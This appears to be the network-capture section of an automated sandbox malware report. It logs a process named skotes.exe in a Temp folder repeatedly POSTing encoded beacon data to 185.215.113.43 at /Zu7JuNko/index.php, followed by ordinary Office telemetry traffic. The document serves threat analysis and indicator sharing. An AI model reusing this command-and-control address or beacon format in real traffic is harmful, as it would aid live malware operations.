Nov 24, 2024 10:29:50.003793001 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:51.370999098 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50324	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:53.119165897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:29:54.510885000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50325	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:56.153647900 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:29:57.492532015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:29:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50326	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:29:59.226452112 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:00.612518072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	50327	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:02.242202044 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:03.640486002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	50328	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:05.379225016 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:06.760921955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	50329	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:08.393570900 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:09.805082083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	50330	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:11.553445101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:12.938776970 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	50331	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:14.567722082 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:15.968823910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	50332	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:17.704030037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:19.144149065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	50333	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:20.778323889 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:22.115386963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	50334	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:23.853868008 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:25.284035921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	50335	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:26.930115938 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:28.372334957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	50336	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:30.107078075 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:31.484325886 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	50337	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:33.125104904 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:34.585316896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	50338	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:36.321114063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:37.716732025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	50339	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:39.356543064 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:40.768265009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50340	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:42.512320995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:43.909734964 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50341	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:45.548873901 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:46.950407982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	50342	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:48.682972908 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:50.093780041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50343	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:51.720622063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:30:53.070684910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50344	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:30:54.818945885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:30:56.250003099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:30:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49705	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:24 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:25 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:24 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092324Z-174c587ffdfks6tlhC1TEBeza4000000047g00000000fuew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:25 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
